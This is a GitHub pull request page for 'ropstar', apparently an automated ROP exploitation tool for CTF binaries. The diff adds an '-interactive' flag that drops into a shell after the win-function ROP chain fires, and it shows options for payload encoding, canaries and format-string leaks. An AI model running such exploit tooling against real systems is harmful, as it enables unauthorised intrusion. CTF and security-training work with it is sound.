Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add interactive shell option for win function #14

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion ropstar.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,8 @@ def __init__(self, argv):
parser.add_argument('-p', help='use proxy, e.g. https://127.0.0.1:8080')
parser.add_argument('-m', help='specify address of main method, in case there is no symbols')
parser.add_argument('-xor', help='xor payload with given byte')
parser.add_argument('-win', help='specify win function address to call')
parser.add_argument('-win', help='specify win function address to call')
parser.add_argument('-interactive', help='when selecting win function, toggle interactive mode after entering the function (CTF shell win functions)', action='store_true')
parser.add_argument('-magic', help='magic string that needs to be sent before the payload')
parser.add_argument('-remote_offset', help='get offset remotely via observing responses (often required with canaries)', action='store_true')
parser.add_argument('-state', help='canary,rbp,rip (comma seperated)')
Expand Down
5 changes: 4 additions & 1 deletion ropstar/exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,9 @@ def win(self, p, win):
payload = self.ropstar.fit(rop.chain())
self.ropstar.trigger(p, payload)
# we usually don't get shells from these, mostly just cat on the flag
# added pop shell functionality
if self.ropstar.args.interactive:
p.interactive()
return


Expand Down Expand Up @@ -211,4 +214,4 @@ def fmt_leak(self, p, addr, offset):
leak = p.recvall()
bytes = bytearray(leak)
l = re.search(b'...\xf7',bytes).group(0)
return self.ux(l)
return self.ux(l)